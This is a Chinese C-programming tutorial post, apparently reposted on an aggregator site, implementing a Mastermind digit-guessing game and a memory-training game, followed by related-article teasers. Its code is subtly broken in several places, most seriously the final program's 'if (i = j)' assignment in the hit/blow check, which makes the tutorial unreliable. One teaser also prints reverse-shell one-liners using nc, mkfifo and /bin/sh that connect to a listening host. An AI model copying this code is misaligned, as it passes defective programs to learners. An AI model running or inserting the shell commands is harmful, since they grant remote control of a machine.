C语言趣味代码(二)

news2024/10/1 9:41:44

1.珠玑妙算

1.1 介绍

《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏,据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后,在1975年传入美国,1976年leslieH.Autl博士甚至还出版了一本名为The Offcial Mastermind Handbook的著作专门研究这款游戏,游戏有以下部分构成:

8种颜色的彩钉(白色、黑色、红色、蓝色、黄色、绿色、橙色、褐色)

2种颜色的彩钉判断(黑色、白色)

嵌入彩钉的游戏盘

一人是出题者,一人是答题者,二人按照下面的操作步骤来进行游戏:

  1. 出题者把四种不同颜色的彩钉排好,排的时候不能让答题者看见。
  2. 答题者推测出题者彩钉摆放顺序并排序彩钉。
  3. 根据答题者给出的答案,出题者像这样来放置判断钉:黑色钉(颜色和位置一致)。白色钉(颜色一致,但摆放位置不一致)。黑色钉和白色钉每种最多只能放置4个。
  4. 如果放置的白色钉不满4个,就回到步骤2,如果放置了4个黑钉,那么答题者回答正确,进入步骤5.
  5. 出题者和答题者互换身份回到步骤1,反复比试,看哪一方更快猜中。

虽然游戏规定不能重复放置相同颜色的彩钉,但玩家可以修改规则来提升游戏难度,例如:允许彩钉颜色重复、加入无色钉等。除此之外,还有使用数字当棋子的数字珠玑妙算,使用字母当棋子来猜出题者隐藏的单词的单词珠玑妙算,以及猜形状、颜色、位置的珠玑妙算等等。这一部分主要是实现数字珠玑妙算。

1.2 流程分析以及程序介绍

1.2.1 生成4个不同的随机数

“珠玑妙算”是一个猜不重复的数字串的游戏,游戏的流程是:出题者根据答题者的推测给予提示,循环进行这种对话形式的处理,直到答题者猜对答案为止。出题者从0~9中选出4个数字,并将这4个数字排列成数字串作为题目。因为所有数字都不相同,所以不会出现“1123”这种出现重复数字的情况。下面是答案为“7615”时的游戏流程|:

答题者(玩家)推测数字串,出题者(计算机)提示玩家该数字串中包含多少个答案数字,以及又有多少个数字位置是正确的。数字和位置都与正确答案一致就是hit(数字和位置都一致),数字对了但位置不对就是blow(虽然里面有答案数字,但位置不对)。出题者给出的提示就是“hit和blow的总数”和“hit数”。重复这样的“对话”直到答题者猜对为止 。

请大家注意,在答案仍为7615时,假设答题者推测是“4635”时,出题者提示“这些数字里面包括2个答案数字”,在答题者推测是“4631”时,出题者仍然提示“这些数字里面包括2个答案数字”,这样的话会有以下两种可能情况:

  1. 4、6、3中包括两个答案数字,5和1都不是答案数字。
  2. 4、6、3中包括一个答案数字,5和1都是答案数字。

首先我们来思考一下如何实现程序要求的“生成4个不同数字的组合”,我们把输入的数存放在元素类型是int、元素个数是4的数组中。

for(int i=0;i<4;i++)
{
   arr[i]=rand()%10;
}

上面这段代码,看似只要把0~9的随机值赋值给arr数组的arr[0],arr[1],arr[2],arr[3]就看似1解决了问题。但是因为存在随机值会重复的可能性,所以这个方法用起来不合适生成“珠玑妙算”的要求。所以我们要进行改良来实现要求:

void make4digits(int x[])
{
  int i,j,val;
  for(i=0;i<4;i++)
   {
     do
      {
        val=rand()%10;//生成0~9的随机值
        for(j=0;i<i;j++)//判断是否已经获得这个值
          if(val==x[j])
           break;
      }while(j<i);//循环至找到不重复的值
     x[i]=val;
   }
}

上面这段代码是三重循环结构,for循环中嵌套do...while循环,do...while循环中又嵌套for循环。为了按顺序生成x的元素x[0]、x[1]、x[2]、x[3]我们把for循环语句中的变量i的值从0增量到3。我们看一下循环体,假设x[0]、x[1]中已经分别存了7和5,接下来要生成第三个随机数,此时外侧的for循环语句中i的值是2。程序进行到do...while循环后,会先生成0~9的随机数,并赋值给val,然后内侧的for循环语句负责检查变量val的值和x[0]和x[1]的值是否重复,现在会有两种情况:

发生重复时(生成的随机数val是7或5):

如果生成的随机数val是7,那么j为0时,val和x[j]相等,if语句成立,如下图:

如果val是5,那么j为i时if语句就成立 ,就如下图:

因为break语句会强制中断for语句的循环,所以j的值会在上面第一个图中为0,在第二个图中值为1。

没有发生重复时(生成的随机数既不是7也不是5):

如果函数生成的随机数既不是7也不是5,那么val和x[j]不相等,if语句不成立,内侧的for循环就会一直运行到最后。如下图:

for语句结束时,i和j的值都是2。内侧for语句的控制表达式是j<i。因此,如果生成的随机数重复,do...while语句就会循环并再次生成新的随机数。如果变量j和i相等(生成的随机数不重复),do...while语句就会结束。do...while语句结束后,程序就会分别把val存入数组的元素x[i]中。 

1.2.2 读取字符串

 现在我们讨论如何输入玩家回答的数字串,我们先看下面的代码:

#include<stdio.h>
int main()
{
  int x;
  printf("请输入整数:");
  scanf("%d",&x);
  printf("你输入了:%d。\n",x);
  return 0;
}

这个程序很简单:通过scanf函数来读取整数值并显示整数值,我们运行一下看看:

 通过运行结果,当我们输入0123时,程序会无视开头输入的0,把123存入x中,这样一来,答题者就不能输入以0为首的数字串了。这时候就有人问了C语言没有将字符串转成数值的函数吗?这时候就要给大家介绍atoi函数/atol函数/atof函数3兄弟:

atoi函数/atol函数/atof函数:把字符串转换为数值

接下来我们尝试一下让程序读取字符串而非数值:

#include<stdio.h>
#include<stdlib.h>
int main()
{
  char temp[20];
  printf("%请输入整数:");
  scanf("%s",&temp);
  printf("你输入了:%d。\n",atoi(temp));
  return 0;
}

我们运行一下看看:

 

 

 在上面的代码中我们用到了将字符串转换成int型数值的atoi函数。这个函数的long型版本是atol函数,double型版本是atof函数。这3个函数的规格如下,他们都会将nptr接受的字符串转换成数值并返回:

函数名atoi
头文件#include<stdlib.h>
格式int atoi(const char *nptr);
功能把nptr所指的字符串转换成int型的形式
返回值返回转换后的值,若无法用int型表示结果数值,则作未定义处理(取决于编程环境)
函数名atol
头文件#include<stdlib.h>
格式long atol(const long* nptr);
功能把nptr所指的字符串转换成long型的形式
返回值返回转换后的值,若无法用long型表示结果数值,则作未定义处理(取决于编程环境)
函数名atof
头文件#include<stdlib.h>
格式double atof(const char* nptr);
功能把nptr所指的字符串转换成double型的形式
返回值返回转换后的值,若无法用double型表示结果数值,则作未定义处理(取决于编程环境)

在上面运行结果2中,atoi函数接受了非数值字符串“ABC”并返回了0。当函数获取了非数值的字符串时,返回的结果要取决于编程环境(并不是在所有编程环境下函数都会返回0).函数调用方并不知道是否进行了正确的转换。即使所有的编程环境都会在无法转换时返回0,也无法区分到底是无法转换还是转换前的字符串就是“0”。在上面的运行结果3中,字符串“0123”转换成整数后得到结果只是123而已,可见使用atoi函数的方法也行不通。

检查已读取的字符串的有效性

接下来我们不依赖标准库,自行解析玩家输入的字符串。首先要检查字符串作为答案的有效性:

  1. 是否为4个字符?
  2. 是否含有非数字的字符?
  3. 是否含有重复数字?

如果字符串s作为“珠玑妙算”的答案有效,就返回0,如果无效就返回一个错误编码,我们来实现负责这项操作的check函数:

int check(const char s[])
{
  int i,j;
  if(strlen(s)!=4)//字符串长度不为4
    return 1;
  for(i=0;i<4;i++)
   {
     if(!isdight(s[i]))//包含了除数字以外的字符
      return 2;
     for(i=0;j<i;j++)
      if(s[i]==s[j])//含有相同数字
        return 3;
   }
  return 0;//字符串有效
}

首先要检查字符的数量,如果经过strlen函数检查后,字符串的长度不为4,就会返回错误编码1。外侧的for语句就负责遍历字符串以检查字符s[i]是否有效,此处运用了isdigit函数来判断字符串s[i]是否为数字字符。

函数名isdigit
头文件#include<ctype.h>
格式int isdigit(int c);
功能判断c是否为10进制数字
返回值若判断成立,则返回除0以外的值(真),若判断不成立,则会返回0

如果s[i]不是数字字符串,函数会返回错误的编码数字2。上述所有步骤都正常结束后,check函数会返回0。

1.2.3 hit和blow的判断

如果玩家输入的字符串的形式有效,程序就会把玩家的答案和正确答案(应猜中的数字串)进行比较。我们写一个judge函数来求hit(数字和位置都一致)和blow(数字正确但位置不一致)数:

void judge(const char s[],const int no[],int* hit,int* blow)
{
  int i,j;
  *hit=*blow=0;
  for(i=0;i<4;i++)
   {
     for(j=0;i<4;j++)
      {
        if(s[i]=='0'+no[j])//数字一致
          if(i==j)//hit位置也一致
           (*hit)++;
          else//blow位置不一致
           (*blow)++;
      }
   }
}

字符串s是玩家输入的字符串,数组no是存放计算机已经生成的题目数组,hit数和blow数将分别赋值给指针hit和blow所指向的位置。外侧的for语句负责从头开始依次遍历字符串s中的每个字符串,内侧的for语句负责检查s[i]和已给出的题目数字no[0],no[1],no[2],no[3]的各个数字是否存在“hit”和“blow”关系。数组s内存放的是字符,数组no内存放的是整数值。因此,即使通过s[0]==no[0]进行判断,其结果也为假。我们来看一下判断数字一致部分的代码,也就是if语句的控制表达式,这部分用来比较元素内的字符和数字,为了比较s[i](字符'0',‘1’,...)和no[j](整数值0,1...),我们在no[j]里添加了‘0’。

数字字符'0''1''2''3''4''5''6''7''8''9'
JIS编码48495051525354555657
EBCDIC编码240241242243244245246247248249
减去'0'后的值0123456789

ASCⅡ编码体系中的数字字符'0','1','2'...,'9'的编码使用十六进制数表示分别是0x30,0x31,...,0x39,用十进制表示则是48,49,...,57。此外,在IBM的通用计算机使用的EBCDIC编码中,这些中用十进制数表示分别是240,241,...249。编码体系不同,各个字符的值也有所差异,但无论各种字符编码体系,都存在下列规律:数字字符'0','1','2'...'9'的编码以1为单位依次递增。上述规律是依据ISO、ANSI的C语言标准而定的。因此,不管在何种字符编码体系中,'5'的编码和'0'的编码的差值都是5,由此可知,数字和整数值可按照下面的方法相互转换:

数字字符减去'0',可以得到相应的整数值。

整数值加上'0',可以得到对应的数字字符。

要判断某字符c是否为数字字符,不仅可以通过isdigit(c)来判断,还能通过c>='0'&&c<='9'来判断。既然if语句成立,就能够确认该玩家输入的字符串中包含答案数字,那么接下来就要判断位置是否一致了,用于执行这项操作的是内侧的if语句。变量i和j相等就是hit,如果不相等就是blow。

1.3 程序的实现

#include<time.h>
#include<ctype.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void make4digits(int x[])
{
	int i, j, val;
	for (i = 0; i < 4; i++)
	{
		do
		{
			val = rand() % 10;
			for (j = 0; j < i; j++)
				if (val == x[j])
					break;
		} while (j < i);
		x[i] = val;
	}
}
int check(const char s[])
{
	int i, j;
	if (strlen(s) != 4)
		return 1;
	for (i = 0; i < 4; i++)
	{
		if (!isdigit(s[i]))
			return 2;
		for (j = 0; j < i; j++)
			if (s[i] == s[j])
				return 3;
	}
	return 0;
}
void judge(const char s[], const int no[], int* hit, int* blow)
{
	int i, j;
	*hit = *blow = 0;
	for (i = 0; i < 4; i++)
	{
		for (j = 0; j < 4; j++)
		{
			if (s[i] == '0' + no[j])
				if (i = j)
					(*hit)++;
				else
					(*blow)++;
		}
	}
}
void print_result(int snum, int spos)
{
	if (spos == 4)
		printf("回答正确!");
	else if (snum == 0)
		printf("  这些数字里面没有答案数字。\n");
	else
	{
		printf("  这些数字里面包括%d个答案数字。\n", snum);
		if (spos == 0)
			printf("  但是数字的位置不一致。\n");
		else
			printf("  其中有%d个数字的位置是一致的。\n", spos);
	}
	printf("\n");
}
int main()
{
	int try_no = 0;//输入次数
	int chk;//已输入字符串的检查结果
	int hit;
	int blow;
	int no[4];
	char s[10];
	clock_t start, end;
	srand(time(NULL));
	printf("珠玑妙算小游戏\n");
	printf("请猜4个数字\n");
	printf("不能输入相同的数字\n");
	printf("请向1234这样连续输入\n");
	printf("不能输入空白字符\n");
	make4digits(no);
	start = clock();
	do
	{
		do
		{
			printf("请输入:");
			scanf("%s", &s);
			chk = check(s);
			switch (chk)
			{
			case 1:
				printf("\a请确保输入4个字符。");
				break;
			case 2:
				printf("\a请不要输入除了数字以外的字符。");
				break;
			case 3:
				printf("\a请不要输入相同的数字。");
				break;
			}
		} while (chk != 0);
		try_no++;
		judge(s, no, &hit, &blow);
		print_result(hit + blow, hit);
	} while (hit < 4);
	end = clock();
	printf("用了%d次。\n用了%.1f秒。\n", try_no, (double)(end - start) / CLOCKS_PER_SEC);
	return 0;
}

运行一下看看效果:

函数print_result根据hit和blow数来显示判断结果,参数snum接收的是hit数加上blow数的总和,spos接收的是hit数。这些都是比较简单的函数大家可以认真理解一下。

2. 单纯记忆训练

现在我们要编写一个训练记忆力的程序来记忆瞬间显示的数值和字符串,我只要运用这两篇博客提到的知识就可以轻松实现,现在我们编写一个程序,让它显示一个4位数,但只显示一瞬间(0.5秒),玩家要瞬间记下并输入该数值,重复10次之后,程序会显示答对的次数和所用的时间:

#include<time.h>
#include<stdio.h>
#include<stdlib.h>
#define MAX_STAGE 100
int sleep(unsigned long x)
{
	clock_t c1 = clock(), c2;
	do
	{
		if ((c2 = clock()) == (clock_t)-1)
			return 0;
	} while (1000.0 * (c2 - c1) / CLOCKS_PER_SEC < x);
	return 1;
}
int main()
{
	int stage;
	int sucess = 0;
	clock_t start, end;
	srand(time(NULL));
	printf("来记忆一个四位数的值吧。\n");
	start = clock();
	for (stage = 0; stage < MAX_STAGE; stage++)
	{
		int x;
		int no = 1000 + rand() % 9000;
		printf("%d", no);
		fflush(stdout);
		sleep(500);
		printf("\r请输入:");
		fflush(stdout);
		scanf("%d", &x);
		if (x != no)
			printf("\a回答错误。\n");
		else
		{
			printf("回答正确。\n");
			sucess++;
		}
	}
	end = clock();
	printf("%d次中答对了%d次。\n", MAX_STAGE, sucess);
	printf("用时%.1f秒。\n", (double)(end - start) / CLOCKS_PER_SEC);
	return 0;
}

运行一下看看结果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613982.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接&#xff1a; 分析题意之后&#xff0c;发现就是一道简单的贪心&#xff0c;当然也可以把他看作纯数学题。 因为you和oo里面都有o&#xff0c;但是you可以得两分&#xff0c;所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞&#xff0c;游戏开发框架是js 开发的网页小游戏&#xff01; phaser这个框架。好我们先上图&#xff01; 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下&#xff1b; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案&#xff0c;当时做的是ffmpeg内核版本&#xff0c;由于ffmpeg内核解析都是代码实现&#xff0c;所以无缝切换非常完美&#xff0c;看不到丝毫的中间切换过程&#xff0c;看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法&#xff0c;…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书&#xff0c;其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系&#xff1a;黑皮书涵盖了计算机科学的多个领域&#xff0c;如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测&#xff01;&#xff01;&#xff01; 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐&#xff0c;播放器&#xff0c;下载&#xff0c;播放&#xff0c;DJ&#xff0c;免费,mp3,高音质&#xff0c;…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名&#xff0c;这个路径可以存在&#xff0c;也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理&#xff1a; 服务器端返回的相关参数作为最终登录凭证&#xff0c;导致可绕过登录限制。 危害&#xff1a;在相关业务中危害也不同&#xff0c;如找回密码&#xff0c;注册&#xff0c;电话换绑等地方即可形成高危漏洞&#xff0c;如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…

java可盈保险合同管理系统的设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的可盈保险合同管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于Spring Boot的…

在【laravel框架】学习中遇到的常见的问题以及解决方法

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

net模块

建立TCP的链接 1 发送消息的服务 2 接收消息 2 建立http的链接让浏览器进行访问 import net from netconst html <h1>TCP</h1>const respinseHeaders [HTTP/1.1 200 OK,Content-Type:text/html,Content-Length: html.length,\r\n,html]const http net.create…

计算机系列之大话原码、补码、反码、移码

5、大话原码、补码、反码、移码 原码 最高位 低位&#xff08;7位二进制数&#xff09;&#xff0c; 最高位 0 表示正数&#xff0c;1表示负数 低位即该数字的二进制数 7 的原码 00000111&#xff0c; -7 的原码 10000111&#xff0c; 0000111 为 7 的二进制数&#xff…

VulnHub靶机 DC-5 打靶 渗透测试详情过程

VulnHub靶机 DC-5 打靶 详细渗透测试过程 目录 VulnHub靶机 DC-5 打靶 详细渗透测试过程一、将靶机导入到虚拟机当中二、渗透流程主机发现端口扫描目录爆破文件包含getshell反弹shell提权 一、将靶机导入到虚拟机当中 靶机地址&#xff1a; https://download.vulnhub.com/dc/…